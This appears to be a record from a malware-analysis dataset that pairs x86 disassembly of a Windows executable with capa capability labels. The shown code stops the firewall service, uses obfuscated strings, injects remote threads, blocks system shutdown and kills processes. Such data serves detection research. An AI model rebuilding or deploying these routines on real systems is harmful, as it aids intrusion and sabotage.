joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4104c0
Capabilities:
Contain obfuscated stackstrings
Delete registry key

Disassembly:
sub esp, 0x54
push ebx
push esi
mov esi, ecx
mov bl, 0x53
mov cl, 0x4d
mov dl, 0x41
mov al, 0x5c
mov byte [esp + 0xe], cl
mov byte [esp + 0x12], cl
mov byte [esp + 0xc], bl
mov byte [esp + 0xd], dl
mov byte [esp + 0xf], al
mov byte [esp + 0x10], bl
mov byte [esp + 0x11], dl
mov byte [esp + 0x13], al
mov cl, 0x73
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], dl
mov byte [esp + 0x23], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x60]
mov bl, 0x6e
mov dl, 0x63
mov byte [esp + 0x1a], cl
mov byte [esp + 0x25], cl
mov byte [esp + 0x28], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x19], bl
mov byte [esp + 0x1d], dl
mov byte [esp + 0x1e], dl
mov byte [esp + 0x21], bl
push eax
lea ecx, [esp + 0x38]
mov dl, 0x65
xor ebx, ebx
push 0x4228f4
push ecx
mov byte [esp + 0x20], 0x44
mov byte [esp + 0x21], 0x6f
mov byte [esp + 0x22], 0x6d
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x24], 0x69
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x75
mov byte [esp + 0x2e], 0x74
mov byte [esp + 0x30], 0x55
mov byte [esp + 0x32], dl
mov byte [esp + 0x33], 0x72
mov byte [esp + 0x36], 0x4e
mov byte [esp + 0x37], 0x61
mov byte [esp + 0x38], 0x6d
mov byte [esp + 0x39], dl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x17], bl
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x60]
lea eax, [esp + 0xc]
push edx
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4105b9
pop esi
xor eax, eax
pop ebx
add esp, 0x54
ret 4
mov edx, dword [esp + 0x60]
lea ecx, [esp + 0x34]
push edi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov edi, eax
mov eax, dword [esp + 0x64]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, ebx
lea edx, [esp + 0xf]
setne cl
add ecx, 0x85
push 1
mov byte [esp + 0x13], cl
push edx
mov ecx, esi
call fcn.004089a0
lea eax, [esp + 0xf]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebx
add esp, 0x54
ret 4

Function at 0x410870
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x40
push esi
push edi
push 0x14
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0xc]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.0041be00
add eax, 1
adc edx, 0
push edx
push eax
push 0x4228d4
push esi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
mov eax, esi
pop edi
pop esi
add esp, 0x40
ret
Function at 0x411490
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings
Query service status
Stop service

Disassembly:
sub esp, 0x30
push ebx
push esi
push edi
push 1
push str.SeDebugPrivilege
call fcn.004145a0
add esp, 8
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
push 0xf01ff
push str.sharedaccess
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
lea eax, [esp + 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x24], 1
je 0x4114ea
lea ecx, [esp + 0x20]
push ecx
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
lea edx, [esp + 0xc]
mov cl, 0x6c
mov al, 0x65
push edx
push str.ADVAPI32.dll
mov byte [esp + 0x14], 0x43
mov byte [esp + 0x15], cl
mov byte [esp + 0x16], 0x6f
mov byte [esp + 0x17], 0x73
mov byte [esp + 0x18], al
mov byte [esp + 0x19], 0x53
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x76
mov byte [esp + 0x1d], 0x69
mov byte [esp + 0x1e], 0x63
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], 0x48
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x6e
mov byte [esp + 0x23], 0x64
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push edi
call esi
push ebx
call esi
push 0
push str.SeDebugPrivilege
call fcn.004145a0
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x30
ret

Function at 0x4118a0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
sub esp, 0x20c
push ebx
lea eax, [esp + 8]
push str._termsrv_t.dll
mov dword [esp + 8], ecx
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
lea ecx, [esp + 0x10c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 8]
lea eax, [esp + 0x10c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x10c]
mov ebx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x411918
lea edx, [esp + 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x411970
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
push esi
lea eax, [esp + 0x10]
push edi
push eax
mov byte [ebx], 0x89
call ebp
lea ecx, [eax + eax + 2]
lea esi, [esp + 0x14]
mov edx, ecx
lea edi, [ebx + 1]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
lea esi, [eax + eax + 3]
push 0x42
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ecx, dword [esp + 0x10]
mov edi, eax
push esi
push edi
call fcn.004089a0
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret
Function at 0x411a80
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
lea eax, [esp]
mov dword [esp], 0x9c
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 5
jne 0x411aad
mov ecx, dword [esp + 8]
mov eax, 1
cmp ecx, eax
je 0x411aaf
xor eax, eax
add esp, 0x9c
ret

Function at 0x411ba0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push esi
push edi
xor edi, edi
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x411c23
push ebx
lea eax, [esp + 0x10]
push ebp
push eax
push esi
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x411c08
mov ebx, dword [esp + 0x140]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x38]
push ecx
push ebx
call ebp
test eax, eax
je 0x411bfb
lea edx, [esp + 0x14]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x411bde
jmp 0x411c08
mov eax, dword [esp + 0x1c]
mov edi, 1
mov dword [esp + 0x10], eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
cmp edi, 1
pop ebx
jne 0x411c23
mov eax, dword [esp + 8]
pop edi
pop esi
add esp, 0x12c
ret
pop edi
xor eax, eax
pop esi
add esp, 0x12c
ret

Function at 0x411c30
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x224
push ebx
push ebp
push esi
push edi
xor ebp, ebp
mov ecx, 0x88
xor eax, eax
lea edi, [esp + 0x14]
mov dword [esp + 0x10], ebp
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x238]
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x10]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x18], 0x224
call sub.KERNEL32.dll_Module32First
test eax, eax
je 0x411cb3
mov edi, dword [esp + 0x23c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea edx, [esp + 0x130]
push edi
push edx
call ebx
test eax, eax
je 0x411caf
lea eax, [esp + 0x10]
push eax
push esi
call sub.KERNEL32.dll_Module32Next
test eax, eax
je 0x411cb3
lea ecx, [esp + 0x130]
push edi
push ecx
call ebx
test eax, eax
jne 0x411c91
mov ebp, dword [esp + 0x2c]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x224
ret
Function at 0x411cd0
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
sub esp, 0x34
push ebx
push ebp
push esi
mov esi, dword [esp + 0x48]
test esi, esi
push edi
jne 0x411ce9
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x34
ret
mov eax, dword [esp + 0x48]
push eax
push 0
push 0x2a
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x411d08
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x34
ret
lea ecx, [esp + 0x34]
mov bl, 0x65
mov al, 0x72
push ecx
mov byte [esp + 0x38], 0x6b
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], al
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], 0x6c
mov byte [esp + 0x3e], 0x33
mov byte [esp + 0x3f], 0x32
mov byte [esp + 0x40], 0x2e
mov byte [esp + 0x41], 0x64
mov byte [esp + 0x42], 0x6c
mov byte [esp + 0x43], 0x6c
mov byte [esp + 0x44], 0
mov byte [esp + 0x14], 0x46
mov byte [esp + 0x15], al
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], bl
mov byte [esp + 0x18], 0x4c
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x62
mov byte [esp + 0x1b], al
mov byte [esp + 0x1c], 0x61
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], 0x79
mov byte [esp + 0x1f], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x10]
push edx
push eax
call ebp
push 0
push 0
push esi
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x411e0a
mov byte [esp + 0x27], al
lea eax, [esp + 0x1c]
push eax
push str.KERNEL32.dll
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x6c
mov byte [esp + 0x26], 0x6f
mov byte [esp + 0x27], 0x73
mov byte [esp + 0x28], bl
mov byte [esp + 0x29], 0x48
mov byte [esp + 0x2a], 0x61
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], 0x64
mov byte [esp + 0x2d], 0x6c
mov byte [esp + 0x2e], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebp
push edi
call eax
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x34
ret
lea ecx, [esp + 0x28]
mov byte [esp + 0x28], 0x43
push ecx
push str.KERNEL32.dll
mov byte [esp + 0x31], 0x6c
mov byte [esp + 0x32], 0x6f
mov byte [esp + 0x33], 0x73
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x48
mov byte [esp + 0x36], 0x61
mov byte [esp + 0x37], 0x6e
mov byte [esp + 0x38], 0x64
mov byte [esp + 0x39], 0x6c
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebp
push 0xffffffffffffffff
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call ebx
push esi
call ebx
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 0x34
ret
Function at 0x411e80
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x134
push esi
xor esi, esi
push edi
push esi
push 2
mov dword [esp + 0x1c], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x411eea
push ebx
mov ebx, dword [esp + 0x144]
mov ecx, dword [esp + 0x20]
push ebx
push ecx
call fcn.00411c30
add esp, 8
test eax, eax
je 0x411eda
mov edx, dword [esp + 0x20]
push eax
push edx
call fcn.00411cd0
add esp, 8
and eax, 0xff
mov esi, eax
lea eax, [esp + 0x18]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x411eb3
pop ebx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 9], cl
mov byte [esp + 0x11], cl
lea ecx, [esp + 8]
mov byte [esp + 8], 0x43
push ecx
push str.KERNEL32.dll
mov byte [esp + 0x12], 0x6f
mov byte [esp + 0x13], 0x73
mov byte [esp + 0x14], al
mov byte [esp + 0x15], 0x48
mov byte [esp + 0x16], 0x61
mov byte [esp + 0x17], 0x6e
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x1a], al
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
call eax
xor eax, eax
pop edi
test esi, esi
setne al
pop esi
add esp, 0x134
ret
Function at 0x412028
Capabilities:
Acquire debug privileges
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x140
mov al, 0x65
push ebx
mov byte [esp + 0x29], al
mov byte [esp + 0x2f], al
mov byte [esp + 0x34], al
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x2c]
push edi
mov bl, 0x74
mov cl, 0x79
push eax
push str.KERNEL32.dll
mov byte [esp + 0x38], 0x47
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], 0x53
mov byte [esp + 0x3c], cl
mov byte [esp + 0x3d], 0x73
mov byte [esp + 0x3e], bl
mov byte [esp + 0x40], 0x6d
mov byte [esp + 0x41], 0x44
mov byte [esp + 0x42], 0x69
mov byte [esp + 0x43], 0x72
mov byte [esp + 0x45], 0x63
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], 0x6f
mov byte [esp + 0x48], 0x72
mov byte [esp + 0x49], cl
mov byte [esp + 0x4a], 0x41
mov byte [esp + 0x4b], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [esp + 0x48]
push 0x104
push ecx
call eax
lea edx, [esp + 0xc]
mov byte [esp + 0xc], 0x6c
push edx
push str.KERNEL32.dll
mov byte [esp + 0x15], 0x73
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0x72
mov byte [esp + 0x18], 0x63
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x41
mov byte [esp + 0x1c], 0
call esi
push eax
call edi
lea ecx, [esp + 0x48]
push str.CMD.dll
push ecx
call eax
push 1
push str.SeDebugPrivilege
call fcn.004145a0
lea edx, [esp + 0x50]
push edx
call fcn.00411e80
add esp, 0xc
test al, al
je 0x412166
push 0
push str.SeDebugPrivilege
call fcn.004145a0
push 1
push str.SeShutdownPrivilege
call fcn.004145a0
push str.csrss.exe
call fcn.00411ba0
add esp, 0x14
mov dword [esp + 0x44], eax
push 0
call dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
test eax, eax
jne 0x412157
push ebp
mov bl, 0x6e
push str.drwtsn32.exe
call fcn.00411ba0
mov ebp, eax
add esp, 4
test ebp, ebp
je 0x4120e9
lea eax, [esp + 0x1c]
mov byte [esp + 0x1c], 0x45
push eax
push str.USER32.dll
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], 0x6d
mov byte [esp + 0x28], 0x57
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], 0x64
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], 0x77
mov byte [esp + 0x2e], 0x73
mov byte [esp + 0x2f], 0
call esi
push eax
call edi
push ebp
push 0x411ac0
call eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x28], 0x45
push ecx
push str.USER32.dll
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x75
mov byte [esp + 0x33], 0x6d
mov byte [esp + 0x34], 0x57
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], 0x64
mov byte [esp + 0x38], 0x6f
mov byte [esp + 0x39], 0x77
mov byte [esp + 0x3a], 0x73
mov byte [esp + 0x3b], 0
call esi
push eax
call edi
mov edx, dword [esp + 0x48]
push edx
push 0x411ac0
call eax
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownA]
test eax, eax
je 0x412085
pop ebp
push 0
push str.SeShutdownPrivilege
call fcn.004145a0
add esp, 8
pop edi
pop esi
pop ebx
add esp, 0x140
ret
Function at 0x412220
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41ca60
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x38c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x10], esp
mov esi, ecx
push edi
mov dword [ebp - 0x290], esi
call sub.MSVCRT.dll_atoi
add esp, 4
test eax, eax
jbe 0x413349
cmp eax, 0xffff
jae 0x413349
lea eax, [ebp - 0x398]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x398]
push str._termsrv_t.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
call fcn.00411a80
test al, al
je 0x4122c2
lea edx, [ebp - 0x398]
push edx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4122ec
lea eax, [ebp - 0x398]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4122ec
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push edi
mov ecx, esi
call fcn.004109a0
lea ecx, [ebp - 0x294]
push 0x41e4c8
push ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x294], 0x18
call sub.MSVCRT.dll__CxxThrowException
mov ecx, esi
call fcn.004118a0
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, esi
call fcn.00410940
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x414280
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.Sleep
mov dword [ebp - 0xc], ecx
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 8], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.TerminateProcess
push str.KERNEL32.dll
call esi
push eax
call edi
mov ebx, eax
mov al, 0x65
mov byte [ebp - 0x14], al
mov byte [ebp - 0xe], al
lea eax, [ebp - 0x18]
mov cl, 0x6c
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], cl
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x73
mov byte [ebp - 0x13], 0x48
mov byte [ebp - 0x12], 0x61
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x64
mov byte [ebp - 0xf], cl
mov byte [ebp - 0xd], 0
call esi
push eax
call edi
push 1
push str.SeDebugPrivilege
mov dword [ebp - 4], eax
call fcn.004145a0
add esp, 8
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0xc]
xor esi, esi
test eax, eax
jbe 0x414359
mov ecx, dword [ebp + 8]
mov edx, dword [esi + ecx]
push edx
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call ebx
push edi
call dword [ebp - 4]
mov eax, dword [ebp + 0xc]
add esi, 4
cmp esi, eax
jb 0x414330
push 0
push str.SeDebugPrivilege
call fcn.004145a0
add esp, 8
push 0x64
call dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov ecx, esi
call fcn.00413cf0
mov ecx, esi
call fcn.00413f00
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4145a0
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov al, 0x74
push ebx
mov byte [ebp - 0x3a], al
mov byte [ebp - 0x36], al
mov al, 0x72
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [ebp - 0x34], al
mov byte [ebp - 0x33], al
mov byte [ebp - 0x31], al
lea eax, [ebp - 0x3c]
push edi
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x3c], 0x47
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x39], 0x4c
mov byte [ebp - 0x38], 0x61
mov byte [ebp - 0x37], 0x73
mov byte [ebp - 0x35], 0x45
mov byte [ebp - 0x32], 0x6f
mov byte [ebp - 0x30], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x10], eax
lea ecx, [ebp - 0x2c]
mov al, 0x41
push str.AdjustTokenPrivileges
push ecx
mov byte [ebp - 0x2c], al
mov byte [ebp - 0x2b], 0x44
mov byte [ebp - 0x2a], 0x56
mov byte [ebp - 0x29], al
mov byte [ebp - 0x28], 0x50
mov byte [ebp - 0x27], 0x49
mov byte [ebp - 0x26], 0x33
mov byte [ebp - 0x25], 0x32
mov byte [ebp - 0x24], 0x2e
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x6c
mov byte [ebp - 0x21], 0x6c
mov byte [ebp - 0x20], 0
call esi
push eax
call edi
lea edx, [ebp - 0x2c]
push str.LookupPrivilegeValueA
push edx
mov dword [ebp - 0xc], eax
call esi
push eax
call edi
mov dword [ebp - 8], eax
nop
nop
nop
nop
nop
nop
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2c]
push str.OpenProcessToken
push eax
call esi
push eax
call edi
lea ecx, [ebp - 0x1c]
mov ebx, eax
push ecx
push str.KERNEL32.dll
mov byte [ebp - 0x1c], 0x43
mov byte [ebp - 0x1b], 0x6c
mov byte [ebp - 0x1a], 0x6f
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x48
mov byte [ebp - 0x16], 0x61
mov byte [ebp - 0x15], 0x6e
mov byte [ebp - 0x14], 0x64
mov byte [ebp - 0x13], 0x6c
mov byte [ebp - 0x12], 0x65
mov byte [ebp - 0x11], 0
call esi
push eax
call edi
lea edx, [ebp - 4]
mov edi, eax
push edx
push 0x28
mov esi, 1
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
test eax, eax
jne 0x4146ce
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
neg eax
lea ecx, [ebp - 0x48]
mov dword [ebp - 0x4c], 1
sbb eax, eax
push ecx
and eax, 2
push edx
push 0
mov dword [ebp - 0x40], eax
call dword [ebp - 8]
mov ecx, dword [ebp - 4]
push 0
push 0
lea eax, [ebp - 0x4c]
push 0x10
push eax
push 0
push ecx
call dword [ebp - 0xc]
call dword [ebp - 0x10]
test eax, eax
je 0x41470b
xor esi, esi
mov edx, dword [ebp - 4]
push edx
call edi
xor eax, eax
pop edi
test esi, esi
pop esi
pop ebx
setne al
mov esp, ebp
pop ebp
ret
Function at 0x414750
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dl, byte [esp + 0x2c]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
mov byte [esp + 0x1c], dl
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x2c]
lea edx, [esp + 4]
push eax
mov eax, dword [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x20]
push edx
push 0x414720
push eax
push ecx
call sub.MSVCRT.dll__beginthreadex
mov edx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x4147d0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x41483e
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call sub.MSVCRT.dll__strcmpi
add esp, 8
test eax, eax
jne 0x41481c
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x41483e
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x414814
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x414827
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x414850
Capabilities:
Get session information
Get session user name

Disassembly:
sub esp, 8
lea ecx, [esp + 4]
lea edx, [esp]
push ecx
push edx
xor eax, eax
push 5
push 0xffffffffffffffff
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x4148a2
push esi
push 0x100
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
mov eax, dword [esp + 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, dword [esp + 4]
push ecx
call sub.WTSAPI32.dll_WTSFreeMemory
mov eax, esi
pop esi
add esp, 8
ret
xor eax, eax
add esp, 8
ret

Function at 0x414a30
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x414a7a
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
test eax, eax
jne 0x414a7a
pop edi
pop esi
add esp, 0x9c
ret
cmp dword [esp + 0xc], 5
jne 0x414a97
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x414a97
call fcn.004148b0
pop edi
pop esi
add esp, 0x9c
ret
call fcn.00414850
pop edi
pop esi
add esp, 0x9c
ret